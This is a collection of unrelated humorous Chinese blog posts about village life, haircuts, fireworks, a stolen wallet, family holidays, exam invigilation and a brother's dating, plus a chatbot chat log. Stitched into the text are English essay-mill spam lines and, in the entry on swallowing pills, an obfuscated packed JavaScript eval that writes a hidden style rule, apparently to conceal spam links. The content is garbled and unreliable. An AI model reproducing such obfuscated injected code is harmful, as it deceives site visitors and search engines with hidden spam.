妈的，难怪我老爸总是管这些人叫刁民呢，不拿点本事出来降伏他们是不行地！其实，除了可以把脸贴到屁股上以外，我还可以把三颗花生米塞进鼻孔和嘴巴里，哈咻一声，把它们射到八寸以外。横，表演就表演吧。
于是，在村民们的热烈欢迎下，我表演了杂技和喷射花生米。“再来一个再来一个！”村民们的热情让我热泪盈眶，于是，我又表演了一次杂技和喷射花生米。“再来一个再来一个！”看样子我的人气要胜于老爸啊！于是我又表演了杂技和喷射花生米。“再来一个再来一个！”为什么村民这么喜欢我演的节目咧？我拖过奶妈嘱咐她下台调查调查，接着，我又表演了杂技和喷射花生米。
在表演了37次杂技和喷射花生米之后，奶妈完成调查来到我身边：“少爷，他们之所以不停地让你把嘴巴贴在屁股上是因为他们想看看你突然大便的时候会怎么样。。。。”
第一集 翻译
我精疲力竭地躺在稻草席梦思床上，窗外的太阳照例从我的头顶照到我的脚底，说：“报告少爷，您一切OK，今天，您还是村长，祝您身体健康！。”
当地一声，鱼骨头奶妈又一次闯了进来：“少爷快起床吧，听说您当选了村长，有两个洋记者要采访您呢！”
“什么？洋记者？”天哪，别说我，我老爸，就是老村长，活了半个多世纪，也没见过什么洋人啊，更别说有洋记者采访了！
“快！快！快把我新买的泳衣拿出来我穿！”
“少爷，见洋人穿这么少恐怕透着不尊敬吧？”
“可那是我最新的衣服啊！”
“还是穿棉袄吧，这样显得庄重些嘛。”
“好吧，就听你的吧，快！”
奶妈帮忙拿出棉袄，突然我又想起一件事：“奶妈，我不会洋文怎么办？”
“是啊。。。我也不会啊。。。”奶妈一出神，棉袄当地一声落到地上。
过了一小时十五分二十六妙，奶妈“哦”了一声。
“哦什么？”
“我们村有个小才女啊！不如请她来当翻译吧？”
“女？那你还不快去！”
赶走奶妈之后，我在房间里又转圈又搓手，想起小时候老师布置的那篇作文：我的理想。说真话，我的理想，就是能够拥有一份可以和许多漂亮MM打交道的工作。听奶妈的描述：小才女，女，HIAHIAHIA，还小，一定不错。。。。
“少爷，请不要吐口水了，小才女来了！”
我嗡地回过神来，发现奶妈已经领着一位十八，九岁的女娃娃来到我面前。
奶妈介绍说，这女娃娃叫琪子，在洋学堂念书，现在是暑假，正闲着，巴不得有分工打打，既赚钱，又消闲。
“是么？那太好了。我是村长，未昏。。。”
我朝琪子伸出了友好的双手，在那一瞬间，我的理想实现了，我终于握到女孩子柔软的小手，而且，对方还以为我的动机是纯洁的。老天爷对我太好了，在我当选村长的第二天，就让我这么快地与一位美女发生了关系－－当然，是工作关系。
“以后，就请和我一起办公吧！你的任务就是翻译。”
琪子看上去也很高兴的样子－－毕竟我英俊不凡啊。。。
奶妈在一边焦急地催促道：“少爷，快穿上棉袄去吧！”
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虽然是宽带，仍然经常掉线。
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前天跑去剪了头发，剪好之后一看镜子：哇，多么老土的叔叔阿姨头！赶紧拿帽子一扣灰溜溜回家。决定三个月之内不拍相片。
记得第一次妈妈剪掉我的长头发是因为我长了虱子：第二次剪掉长头发是因为同班的男生把口香糖沾到了我的头顶上：第三次剪掉长头发是因为冬天烤火时太接近火盆；第四次剪掉长头发是因为一不小心陪朋友去剪头发－－她请客，MD不剪白不剪！
其实短头发还是有很多好处D。比如，睡觉的时候可以在枕头上揉来揉去而不用担心头发会打结；打架的时候不会被对方揪住辫子；抓痒方便的多；不会长虱子；不会和我的大脑抢营养－－自从剪了头发，我觉得自己的智商高了许多－－难怪半支烟要剃光头！
白发三千丈，缘愁似个长－－瞧，李白都说养长头发不好了吧？会十分D烦恼。梳头啊，洗头啊，买发夹啊，考虑发型啊－－还有还有，家里的下水道堵塞，多半是凋落的头发成堆造成的。
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今天的天气分外暖和，当我卸了件棉袄来到街上的时候感觉自己好像轻功十分了得，简直可以稍纵即逝。
上街有两个目的，买糖葫芦和烟花。
我想吃糖葫芦的心思已经酝酿了一个多星期了，那时在街上怎么都找不着卖糖葫芦的人，可是今天，街道两边到处是卖糖葫芦的玻璃柜台，两块钱一串，有草莓的，山楂的，桔子的，猕猴桃的等等等等，我在这些柜台前徘徊着，犹豫着，不知道该买什么样的，突然，脑海中火花一闪：天那，我知道糖葫芦是如何做的了！
喏，先将草莓山楂什么的洗干净了用竹签串起来，搁在盘子上，然后将白糖加热至融化，淋到草莓山楂上，待到凉却，不就得了？依此类推，什么冰糖苹果啦，冰糖红枣啦，冰糖栗子啦，甚至冰糖红辣椒都可以如此炮制也！
我真是冰雪聪明。
这么一来，冰糖葫芦就丧失了神秘感了，两块钱的硬币在口袋里被握住又丢开，丢开又握住，握住又丢开。。。
正在斗争激烈的时候，有两辆手推车打身边经过，一辆是卖云南竹筒粽子的，还有一辆卖马车冰堡－－就是冰淇淋。马车冰堡肯定吃不得，吃了会得咳嗽。而竹筒粽子就诱人多了，那竹筒在锅里整齐地码着，米饭里插着竹棍子，而且那竹筒不知是从哪里砍的－－都一般粗细，一块五毛钱一根，想占一点便宜都不成。
吃完粽子后的任务就是买烟花，这就不能在大街上找了，需要俺钻胡同穿小巷地不停打听以及寻寻觅觅才行。为什么咧？因为在市区燃放烟花爆竹是要罚款地，不仅如此，贩卖烟花爆竹还要在工商局花高价购买许可证，没有人愿意买许可证，所以他们就偷偷窝在小巷子卖。
果然，在许多偏僻的小卖部门口，只要低声细语地询问老板：“有烟花吗？”都会得到肯定答复，然后做贼般被领到藏在墙角的烟花爆竹边－－MD价格令人“炸”舌，两三分钟就能“烧”完的东西居然要三，四十块钱！我想，我就是一分钱不花，也照样可以在晚上看到别人放的烟花，而花三，四十块钱买烟花放给人民群众免费看，太不符合我的个性了！
但是已经跑了那么多路不能空手而回吧，于是我挑中了一块五毛钱两盒的“电火花”，每盒有20根也！是所有烟花中最便宜的，其燃放的效果类似于燃烧炸药包的捻子，或者电焊时发出的“嗤嗤”火花（所以叫电火花）。这种烟花不仅便宜，而且安全，不像我弟弟从前放的那种“咻－－啪”烟花，就是从一个细筒筒里射出不同颜色的火球，在高空爆炸，有一次火球在筒筒里造反，“咻”地一声冲到弟弟袖子里，幸亏没有“啪”，否则我弟弟就成了独臂神尼的老友独臂刀王了。
只要一离开市区，就可以随便放烟花了。我揣着两盒电火花，心情十分D激动，天色越来越黑了，可空气还是那么暖和，我还是那么身轻如燕兼思绪彭湃。我想，这一辈子我最想永远持有的，就是此刻D心情。。。
这时，一阵微风拂过，下起了毛毛细雨。。。
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1。牛牛用“尾巴”造句：除了人没有尾巴，所有的动物都有尾巴。
牛牛的妈妈说，不对！
牛牛于是修改了一下：除了人和青蛙没有尾巴，所有的动物都有尾巴。
2。牛牛的老师在成绩单上写：你的字端正整洁，令老师赏心悦目。
牛牛问：为什么我的字端正老师还要伤心呢？
3。牛牛的主打歌：为什么天这么黑，因为牛在天上飞，为什么牛在天上飞，因为你在地下吹！
4。牛牛问我：唉，你讨老婆了没有？
我说：你真没礼貌！
牛牛立刻细声细语地问：哦，请问，你的夫人是谁？
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山林里蝉声支支唱
树丛里猪儿咿唔咿唔叫
是蝉声还是猪声我放猪姑娘听的清
有青杆果的地方我的猪最爱拱
有野草的地方我的猪最爱钻
只要我放猪姑娘一声唱
大猪小猪统统围拢来
民歌大赛，不可不看！！
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大过年的要想洗澡可真是不容易，年初二我在街上晃荡半天也没有找到一家开张的澡堂，年初三终于找到一家，招牌上写：金壁辉煌洗浴中心。票价15元，MD是俺平时洗澡花费的10倍！没办法，身上头上痒的几乎能挠下一座太行山来，只得进去了。
进去一看十分惊奇，那派头，是俺们乡下人从来没有见识过的，服务生一见到我便走上来帮我换鞋－－我鞋上还粘着成吨的制陶原料呢！换上拖鞋后走进女宾部，发现果然是个“金壁辉煌”的去处：更衣室干干净净，衣柜里的浴巾毛巾也是新的，化妆桌旁摆着吹风机梳子和免费的润肤露（洗完澡后我要抠出一大坨来擦）。走进浴室，发现淋雨盆浴蒸汽浴都在一起，我想，15元的票价，不能浪费，我都要尝试一下。
于是，我洗了有史以来最昂贵的一把澡，我淋浴，我盆浴，我被蒸的大汗淋漓。当我洗完早回到柜台，交回衣柜的钥匙，服务生又殷勤地过来帮我换上自己的鞋。而我的手，就伸向裤兜拽我的钱包－－可是，在收银小姐期待的目光下，我拽了半天都没有拽出我的钱包！
我的钱包不见了！而里面还有我刚刚从银行取出的1000多元钱！而我，一个始终小气谨慎的伟人，从来没有在口袋里揣过那么多钱！为什么？怎么回事？我的脸上立刻露出一种表情，这种表情在告诉我周围的人：在这个世界上，每天都有成千上万的小偷在偷东西，每天都有成千上万的钱包被偷，可是，这件不幸的事为什么会发生在一个如此善良脆弱的我的身上！
可是，周围的人看着我的表情却相当奇怪。我知道我正处于一个相当尴尬且令人沮丧的境地中，等待我结帐的小姐仿佛正在观看一个企图在洗澡后赖帐的无赖的表演。没有办法，我只好找到澡堂老板，指天划地地向他发誓说我的钱包的确带着并且的确在澡堂被偷了。为了证实我没有说谎，我向他要电话报警。澡堂老板仿佛是个阅历很丰富的人，他帮我在帐单上签了字，并且安慰我说会帮我调查此事，条件是，不报警。
我敏感地猜到可能的结果。如果我报警，澡堂的声誉会收到影响－－这里毕竟是个小地方，而警察们抓到小偷的可能性是50％，而抓到小偷后，小偷多半会说偷来的钱已经挥霍一空，这样的结果对于我来说等于没有结果。如果我不报警，也有可能没有任何结果，但是，我至少可以不用付那15元的洗澡钱。一枚旋转的硬币飞快地旋转着，字，还是幕？我盯着老板，选择了不报警。
好像赌博一样，我押对了。今天晚上，澡堂老板打来电话，通知我过去拿钱包。当时我又惊又奇，心想，在这个世界上，每天都有成千上万的小偷在偷东西，每天都有成千上万的钱包被偷，但是，失而复得这么幸运的事情怎么会发生在一个如此渺小脆弱的我的身上？
在老板的嘴里，我得知了内情。
就在我走进澡堂弯腰换鞋的一瞬间，身后的两只手伸向了我的裤兜－－当时，几乎所有我身后的服务生都看到了这一幕，可是他们都没有吱声。因为他们都认识那个小偷，据说是一个远近闻名的赌徒。
于是他们（澡堂老板说“我们”，指的是自己和身边一名带着神秘微笑的男子，我总是怀疑他是黑社会的）找到那个赌徒，不知道用了什么办法逼他交出了钱包，可是他只承认钱包里面只有900多块钱－－在说到只有900多块的时候，语气还显得相当遗憾。
可是对于我来说，是多么难得啊！在取回钱包走过柜台的时候，我再次感觉到服务生们奇怪的眼神。令我突然回想起当天没钱付帐时他们的眼神，原来不是在怀疑我说谎，而是早就知道我没钱付帐呢！
花王D，人生的大起大落，实在是太刺激啦！
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我心目中的鱼骨头不是一般人想象中的被衔在猫嘴边沾着粘乎乎口水的俗气的小鲫鱼骨头，而是集NB与BT为一体，个性与涵养并重，气质非凡，功能超强的－－SUPER鱼骨头！翻译过来就是“超鱼骨头”。注：这里，超是一个形容词，而不是动词，请大家不要误会，我们，我们是清白的。。。
于是，我心目中的鱼骨头总是身披大红色披风，秀着胸口大写的S刺青，内裤套在牛仔裤的外面－－当然也是红色的－－不停地在闹市区游荡，游荡，游荡。朋友来了有好酒，酒后还有自制的免费牙签奉送－－当然是纯鱼刺制品，剔完牙齿还有自制的免费双面梳奉送－－当然也是鱼骨头形的！然而，若是那豺狼来了，迎接他的有：鱼刺镖，以及鱼骨头形的狼牙棒。
身是客在日记囔囔：蓬莱文章建安骨，是怎样的一种骨？我告诉她，鱼骨头的身上，排排长着这种珍贵的骨，在黑市，已经卖到1160元一盎司！
里你想见到鱼骨头吗？你希望成为鱼骨头的朋友吗？鱼骨头喜欢在超市流连，鱼骨头钟爱喜之狼果肉果冻，鱼骨头喜欢在点数过多钞票的时候让它们划破自己白嫩的手指，当然，鱼骨头最最希望的，还是能够得到一个从田螺里蹦出来的漂亮妹妹（一定要比董事长，晒鱼，都来跳舞，裤衩，路上他们的妹妹漂亮）。其次，鱼骨头希望他的朋友能够成为名人，在电视上一边甩鼻涕一边歌颂他们的友情，在出书的时候记得在扉页上题：此书献给我最好的兄弟鱼骨头，并且，书还很畅销，卖的不贵－－这样一来知道鱼骨头的人就会更多啦，9而9之，鱼骨头也会在某一个不尿床的夜晚突然发现自己也成了名人！
当然，我也希望鱼骨头成为名人后能够对着电视台的摄影机一边甩鼻涕一边提起他和读乐乐的地下情，然后再写一本名叫《我和读乐乐不得不说的故事》的书，灰常畅销，而且不贵－－这样一来，我也会在某个不尿床的夜晚突然发现自己也成了名人！
鱼骨头，苟富贵，毋相忘，狗富贵，才相忘。到时候，你要踩着7彩祥云，头戴紫金六角镶龙冠身披大红袍足蹬羊皮靴腰围虎皮裙手持七尺如意金箍棒来看我们哦～～～
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如果是去年或者是去年之前的若干年，我会在丢下年饭的蓝边大碗后立即飞奔至呆呆家和她厮混几天。可是今年不行了，今年是在我还没有丢下蓝边大碗的时候呆呆就羞答答地拖着她在上海骗到的小男朋友来到我身边。
想起前年的春节，日日艳阳高照，平均气温在11摄氏度以上，可是呆呆还是穿着厚厚的羽绒服－－因为她怕冷。可是今年，－6度的气温将所有的室外水管全部冻裂的情况下，呆呆却只穿着十分单薄的衣服，纤细的两条小腿从大衣下摆处优美地伸出来。不为别的，只为了身边依偎着另一个人，她的防寒抗冻能力就急剧上升。
而这个人，在大年初二的一大早就挟持了我最最亲爱D呆呆疾驰往江苏盐城他自己的老窝去了。临别时我紧紧地攥住呆呆的手，深情地凝视着她－－千言万语汇成一句话：早点请我吃喜酒啊。。。。
接下来干什么呢？呆呆走了，我只有爬到亲戚们摆下的麻将桌上，谈笑风生，挥斥方遒。不是一吃三就是三吃一，可是无论是输还是赢，我得到和付出的，只有微笑而已－－这，就是著名的“笑笑牌”。亲戚们真好啊～
在这个小镇，春节时候许多店铺是不开张的，包括澡堂。以至我可以如愿以偿地7天不洗澡。街上只有专门骗小孩压岁钱的小贩们举着气球糖人花炮到处晃悠，啊，他们也是7天没有洗澡，真幸福。
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月光光 说：
我爱你
☻机器人 代号051(2621/3000) 说：
我有女朋友了。
月光光 说：
我爱你
☻机器人 代号051(2621/3000) 说：
您真是博爱啊
月光光 说：
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☻机器人 代号051(2621/3000) 说：
人家还没谈过恋爱嘛
月光光 说：
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我不值得你爱的
月光光 说：
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我也爱你啊
月光光 说：
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☻机器人 代号051(2621/3000) 说：
那什么时候来娶人家
月光光 说：
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-_-b别蒙人啊
月光光 说：
我爱你
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我也爱你。
月光光 说：
我爱你
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我有女朋友了。
月光光 说：
我恨你
☻机器人 代号051(2621/3000) 说：
可是我爱你～
月光光 说：
我恨你
☻机器人 代号051(2621/3000) 说：
可是我爱你～
月光光 说：
扁你
☻机器人 代号051(2621/3000) 说：
欠揍
月光光 说：
扁你
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欠揍
月光光 说：
扁你！
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欠揍
月光光 说：
扁你！！
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月光光 说：
揍你！
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月光光 说：
欠揍！
☻机器人 代号051(2621/3000) 说：
我的家在http://www. 9zi. com/ 帮助请输入问号
月光光 [...]

有胃口的时候，没有吃的。
有吃的的时候，没有胃口。
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Appendicular skeleton it consist of rest 126 bones of the write my essay body

在看这部片子之前我想到两件事，一是刘嘉玲和叶玉卿主演《红玫瑰与白玫瑰》里面，刘嘉玲带领学校众师生（同时也是玫瑰党成员）为了糊住钟镇涛瞎唱的歌：
女～杀～手～女～杀～手～～
二是在2002年国庆夜晚在上海南京路，大批少年手持充气塑料凶器互砍，旁观人群乐呵呵地观战。之所以令人印象深刻，是因为那是我看过的最疯狂而又不暴戾的群殴。
在看这部片子的时候我又分神，想起童话《小王子》里，那株长在小小星球上的玫瑰，在空气中伸出它的刺，信心十足地对着它的王子云：瞧，我有刺，我会保护自己。
因为一而再再而三的分神，我根本没有好好地看这部片子。比尔是谁？为什么要杀死他？最后杀死他了没？统统不晓得。于是我重新将这部片子倒回去看了一遍－－瓦赛，外国古龙片！暴戾，血腥，众女侠身怀绝技，飞是小李飞刀的飞，刀是小李飞刀的刀。她们的嘴角挂着暧昧的轻笑，眼角透着必杀的寒光。十六七岁的少女甩起了血滴子，MD，年轻与杀气是双重武器。
复仇者是无罪地，复仇之路是艰辛地。但是，何以要用那么辛苦的方式咧？两颗子弹，一个蒙面罩就能解决的问题，何以要用再次失去生命作为代价来完成咧？导演曰，假如一切如你所想，老子还拍个P电影啊？
就是么，莫名我就宰了你，没有理由没有原因。复仇的珍妮注定要在奄奄一息的时候削去刘玉玲的头皮，致她于死地。刘在倒地之前心满意足地赞叹曰：啊，那是真正的奥特兰刀啊。。。（能死在这样的刀下，总算是不辱女杀手的声名了。十分古龙。）就像酒鬼在临死之前指着酒瓶说的：“玻以拉克酒，1874年。。。”
我不禁又分神了：一个穿着宽袍大袖衣服的人，行动能方便么？好歹要用根裤带将袖口扎起来免得挡住视线。刘玉玲，笨，该死。
最后，比尔是谁？为什么要杀死他？到底杀死他了没？还是统统不晓得。第二遍白看了。
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In nutshell the growing importance and necessity of international education cannot be comprised essy writing in few words

他们又聚在一起密谋了－－其实，他们早在上一次聚会时已经密谋好了。他们说，今年的除夕，我们连老带小二十几号人一起过－－在著名的××山上表哥的大房子里。
我出生于一个大家庭，爸爸那边除了爷爷奶奶有许多姑姑，虽然我没有外公外婆，但是取而代之的更多的舅舅们。这样就带来许多麻烦。因为在同一个节日里，父母亲经常会为了参加哪一边的聚会而争吵不休。所以从小到大，我没有过过任何一个其乐融融的春节－－如果我们和舅舅一起过，爸爸就会绷着脸，我和弟弟如果玩的很尽兴，他就会打击我们：“难道姑姑们对你们不好吗？没良心的！”相反，如果在姑姑家玩的高兴，妈妈也会问：“难道你们不喜欢舅舅吗？叛徒！”－－哦，叛徒两个字是我加上去的，因为我听出妈妈的语气中含有这样的意思。
今年的聚会决定当然是舅舅们在一起决定的，这一群老顽童，在国庆大假里安排老二过70岁生日－－其实他真正的生日是在上个月－－目的就是为了将我们圈到一起闹腾一番，60多岁的老头老奶们在餐桌上互相扔奶油蛋糕，令他们的儿孙辈在一旁大跌眼镜。
我立刻庆幸老爹幸亏没有参加，如果他来了，会更加恨这帮“为老不尊”的舅舅们的，还会在此后的许多年里不断地提到被舅舅们浪费掉的奶油蛋糕（和三年自然灾害时期一起提）。
其实打心眼里说我还是喜欢参加舅舅们的聚会－－因为姑姑们很少聚在一起，她们都要去参加她们婆家安排的聚会。自从爷爷奶奶去世之后，我们全家每年都是四个人过年－－非常严肃地，枯燥地，在除夕前全民动员大扫除，除夕年饭吃完之后我们一起洗碗打扫厨房，然后一起安静地坐在电视机前看春节联欢晚会。放相声小品的时候一起哈哈笑，唱政治歌曲的时候我和弟弟分别交换“烦S了”的眼神－－但遥控器掌握在爸爸手中。等到有港台歌手跳艳舞唱劲歌的时候，爸爸的脸色就像债主没收到帐一般，嘟囔着说：“不好看！”然后我和弟弟再一次交换眼神：“果然！”意思就是，猜到爸爸会这么说。12点是解放的时候，我们一起出去放爆竹，然后在院子里烧纸钱祭奠先祖，带着红红的眼眶回房间睡觉。因为想念爷爷奶奶在世的时候所度过的热闹的春节－－而且还有压岁钱！除夕一过就是年初一初二初三，爸爸咻地一声不见了踪影，和他的朋友们一起打牌钓鱼四处玩。这时，天下才是我的天下。如果我趁机对妈妈提议：“我们不妨去看看大舅大舅妈吧？”妈妈就会觉得我真是个贴心的好女儿。
参加舅舅们的聚会有个最大的好处就是：爸爸不可能在！而参加姑姑们的聚会就不一定了－－爸爸肯定在。如果爸爸不在，我就可以喝酒－－而且还可以喝醉，可以随便说笑话，随便闯祸什么的，可以不看联欢晚会去赌博。而且今年的聚会地点在山上，我们可以在年初一去爬山，年初二去钓鱼，表哥的房子前面就有一个清澈的池塘，砸碎冰块之后就可以把鱼钩扔进去. 哦哦哦，我一想到这个就心痒难忍！
但，但是，我能说服爹地让他允许我抛弃他们去参加舅舅们的聚会吗？
MD，还是别做梦了。
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你一口气最多可以吞下几粒直径为5毫米，长度为1厘米的药丸？我经常在电视上看到决定自杀的人迅速地揪开一个瓶盖子，头一仰呼地把所有的药丸倒进嘴里，一口水将它们全部送进肚子里－－能不悉数呛出来才怪！
现在的许多药丸都做成胶囊或者糖衣包裹状，便于吞咽。不象以前，记得有个邻居大姐姐，天天吃一种用腊封住的中药丸，吃的时候要把腊先敲掉，然后把药丸取出－－瓦赛，一个药丸有水瓶塞子大！木法度，只好先放在火炉边烘热，然后再象捏橡皮泥一般捏成一小粒一小粒的来和水吞。在很多年以后回想起这种杀时间的吃药法，感觉其实还蛮风雅的。
如果有足够的时间，还是有许多老年人选择在生病的时候煎中药来吃。为了抓上七副中药，他们可以在药方等上将近一个钟头。看药剂师一味一味地抓，一点一点地称，一方一方地配，再一堆一堆地包。所有的药被熟练地栓成一串，最后还在上面系上一个滤药的小筛子。中药有什么好？便宜。中药有什么不好？麻烦，苦。吃完后剩下的药渣子还要倒在马路中央，据说被别人踩过后，病人就可以快点好。
去年地方台播过一部韩国的言情剧，里面的男主人公告诉女主人公他是什么时候开始觉得自己长大了的，他说：当吃药的时候不再觉得难咽，不再需要往药里面搀糖水的时候，我就觉得，我长大了。这句话很快在我心里引起共鸣－－对咯，我是什么时候开始不害怕吃药的呢？
不记得了。家里的长辈似乎更喜欢用偏方来代替中药西药。“萝卜就是茶，踢的大夫满街爬。”感冒了就喝生姜糖水，咳嗽吃冰糖煮梨，皮肤病用艾蒿煮水洗澡，冬天吃煮荸荠预防脑膜炎，还有一段时间经常吃用炭火烤的泥糊黑鱼－－据说可以治肺炎，我奶奶更牛，她买来寺庙里供过菩萨的水果，强迫我们不洗就吃，说如此可以治愈百病。一个生病不用吃药的小孩该是多么幸福的小孩啊－－而且不吃药也能好！
但是生一种吃药能吃的好的病也是很幸福地。比如说我就生有一种只有不洗碗才能治好的病，我弟弟生有一种只有和女孩子约会才能治好的病，而我们乡长就更厉害了，她生有一种只有不断地被PMP才能治好的病。
愿三个代表保佑我们！ eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(’i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(’|’),0,{}))
Yes, I am a pre-med student and I do hope to attend samedaypaper.org medical school one day

一种叫做“吃一粒罗红霉素睡22小时症”的病。
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思考题1：假如可以选择的话，你愿意你的监考拍档是以下哪一种人呢？
A，美人
B，会装订考卷的人
C，乡长夫人
稍微解释一哈，选A的话，意味着监考的三天对于你来说将会是春光无限的日子：马铃儿响哟玉鸟唱，我和阿诗玛进考场. 虽然监考时是枯立在那里，但是眼睛舒服，心中兴奋，脑子也不闲着，盘算着该如何与她搭上话，装订考卷的时候如何米西米西豆腐。而且选A可以使你起床时不用闹铃提醒－－人要是高兴，还用得着睡觉？（不过如果不幸被分到与我一起监考，再加上一群考生，就是典型的“枯藤老树昏鸦”例。）
选B意味着监考过后你就十分轻松了，你就可以甩着两袖清风离开了。在装订考卷方面我是熟练工－－因为我从来没有被锥子扎过手，所以我怀疑我的前前前世可能与毕升是同事，他负责印刷，而我负责装订。装订用的锥子质量十分重要，所以行家会在第一场监考结束的时候抢得一把好锥子，偷偷揣在怀里，然后在食堂吃饭的时候不敢弯腰，因为一弯腰就会戳到肉肉。选择一个会装订的人拍档，你的工作会比别人更快结束，你于是可以早一步到达食堂，抢到热气腾腾的鸡大腿！
C是个奇怪的选项，但是功能强大。其原理是：监考教师小于校长小于乡长小于乡长夫人。而站在这个金字塔顶端的又同时成为你的拍档！就好象抢银行的路上突然拣到一件隐身衣，不论你在监考的时候干了什么或者是没有干什么，校长只会干笑着望着你们，或者干脆不望，任凭流血的心破碎一片一片洒落在红尘。选择和乡长夫人一起监考，和带薪度假没有什么两样，而且还是去好阿衣度假！
思考题2：监考的时候应该做什么来打发枯燥无聊的时间咧？
根据监考纪律守则，监考时不得谈心，看书看报或做其他与工作无关的事情。但是如果严格地遵循这些非人类者制定的守则，三天下来大脑会严重积水。按每堂考试100分钟计算，我们可以把它分成20，40，40三个时段，每个时段做不同的事情。
第一个时段是20分钟，慢腾腾地分发试卷，通知考生在装订线外填好姓名准考号码然后逐个检查。在考试刚开始的时候，我们都是灰常敬业认真地。
第二个时段40分钟。前20分钟过后，有点小小不耐烦，开始看表，因为规定是考试30分钟过后考生可以交卷离开考场。于是，我们就用期待的眼神望着辛辛学子们，心里默默祈祷着：“希曼，交卷！！”同时不停地去隔壁办公室倒开水喝－－为什么不直接把开水瓶拎到考场去呢？这样不是节约时间兼方便些吗？哦，NO，监考的时候，我们不要节约时间，我们要浪费时间；我们不要方便，我们要大便。在第二个时段快结束的时候，也就是我们放放风的时候了。我与拍档交换一个神秘的眼神之后，就轮流由其中一个手持卫生纸，带着“屎来刻不容缓”的表情穿过操场和巡视员的视线，躲进厕所，伸伸懒腰跺跺脚，再做几遍健康操。
如此进入最后时段。也就是人们通常所说的黎明前最黑暗的艰难时段。一个小时过去了，考生还是没有交卷的迹象，听说他们的老师事先叮嘱过：不听到铃声不许交卷－－MMD，他倒不来监考。这个时候，我们只好摆出一副无所谓的表情，在考场里玩“踱步”游戏。是这样：在考场里慢腾腾地踱步，一分钟踱一圈，一共踱上40圈。急性子的人可以一分钟踱两圈，一共踱80圈。一边工作，一边健身，兀的不两全其美也么哥？
如此的三个时段，在三天的时间里要重复八次。我一辈子也忘不了监考老师们困兽般的神情，我决定要用尽我半生的精力，努力地，绞尽脑汁地想出打发监考时间的好方法，以完善思考题2的答案。为高速发展的21世纪做贡献。哦耶～！
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弟弟昨晚又打来电话，告诉我那个女孩终于回了他的短信，并且还给了他第二次约会的机会。哦也。
弟弟问我：“我明天可不可以跟她讲你说的那个那个大便的故事，嗯？”
“大便的故事多了，你想讲哪一个？”
“大吃一惊的那个。那个比较不恶心。”
“好，好，跟她讲跟她讲！”
又加上叮嘱：“你前天约会的时候有没有在她面前挖鼻孔？”
“没有！”
“好，记住以后也不要挖！”
附：大吃一惊的故事
你有天早晨上班时发现办公桌上伏着赫然一堆便便！你大吃一惊，折身叫来秘书，秘书也大吃一惊，叫董事长来看，董事长看见后，同样大吃一惊。于是。那堆便便不见了。
请问，那堆便便有多重？
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弟弟昨天中午打来电话，说，新年好，然后就开始支吾起来。我敏感地猜到可能会发生的事情。果然，这家伙告诉我，下午两点他要和同事介绍的女孩子约会。
他问我：怎么办？应该约她去哪里比较好？
上一次的相亲－－也就是平生第一次的相亲－－之所以失败是因为他在约会后总是想不起来对方的长相，他说，当时有点紧张，不敢抬头看对方的脸。
这一次他蠢蠢欲动，告诉我他上午上街买了一件新衣服。而且还努力地盘算挑选一个令人印象深刻的约会地点。
我化了一个小时拟定了以下约会计划供他参考：
1。溜冰。
2。去科技馆看四维恐怖电影。
3。去儿童乐园。
4。去陶吧捏杯子。
可是被一一否决，弟弟说陶吧已经关门了，该女孩是本地人，应该什么地方都去过。溜冰太不明智了，万一她的体重大于他自己的体重，他就根本不能在她摔倒的时候扶住她。
怎么办？总不能第一次见面就带人家去看三级片。
还是弟弟有主意（估计有一夜都没睡觉净想着这个），他说，我带她去植物园买花如何？
我觉得也是再好的主意不过了。买花之前还能赏花，多么文雅～！在挂电话之前，对弟弟的约会仪容作了如下要求：
1。刮指甲里面的脏东西。
2。剪鼻毛。
3。确定牙齿缝里没有明显可见的剩菜。
4。裤子拉链拉上。
5。嚼一片口香糖。
6。不去要脱鞋的场所。
7。明天向我如实汇报约会细节。
哦，最后一条与仪容无关。
今天上午果然接到弟弟电话，问他：女孩漂亮么？身材好么？性格活泼么？他全部作了肯定答复。总之一个字：好！
他问我记不记得我有一次告诉他，在冬天如果把一小宝宝踢倒在地，那么这个小宝宝会半天爬不起来的笑话（因为衣服穿太多了）。他说，那个女孩也说了相同的话。
所以，他觉得自己有点喜欢她了。
性格象我，长相则与我相反，这就是他的择偶标准。HOHO，令人哭笑不得。
可是问题是，这个女孩正在努力向上海进发，如果去上海工作是她当下第一要解决的问题，那么，爱情问题就会被放在第二位。如此，他们的关系就不能同步。
我问弟弟，你可不可以也去上海呢？
弟弟立刻回答，上海市政正在他们单位要人。瓦赛，好像密谋了许久一般。
如果物质世界不能造成阻碍的话，还真够运气的。
第二个问题是，这个女孩似乎对他没有太大的兴趣。因为，弟弟说，后来他发给她的短信她都没有回。当然他们从昨天分开到现在不过一天的时间而已。我安慰说，不能过于猴急。女孩子相对都会显得含蓄一点。
我的问题卡在喉咙里没有提，那就爸爸妈妈的态度。无论弟弟和我有多么喜欢，只要不能令他们满意，一切免提。我看第二个问题好像对弟弟造成了困扰，所以不忍心增加他的多重负担。
爱情这种东西，还是突如其来的好啊。
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鱼骨头终于憋不住冒了一个小泡泡，这家伙一听说自己出名了，屁股上就象装了捻子并被点着一般乐得要冲到天上去。幸亏我没告诉他有个MM暗恋他的事情，不然我们就要到火星上找他要签名果照了。
下午和特别乖说到，嗯，的确是一件令人困扰的事情－－就是肚子和胃之间脂肪分界堆积造成的难以磨灭的沟沟。不过婴儿时期有这样的沟沟还是挺可爱的。记得小时候就和表哥们比赛谁可以在一弯腰的时候在肚子那里挤出最多的沟沟－－当然我赢了，基础好嘛。爷爷为此还特别表扬了我，真没想到过去带给我自信的事情现在反而带来困扰。
在4点多钟的时候有学生来访，已经17岁啦，据说下午打电话回家的时候和母亲吵架了，满肚子的委屈无处倾诉所以跑来了。晚上带她上街一起晚饭，听她发牢骚，云：“她这么不在乎我，我放假不回家啦！”我说好啊，不回家就来陪我吧。任何人，环境需要他长大的时候她自然会长大，小学课本上说，这就是种子的力量，为了生长，在适当的时候，他们会变得懂事，当他们懂事到了极点的时候，他们就成为：当当当－－党－－董事长！
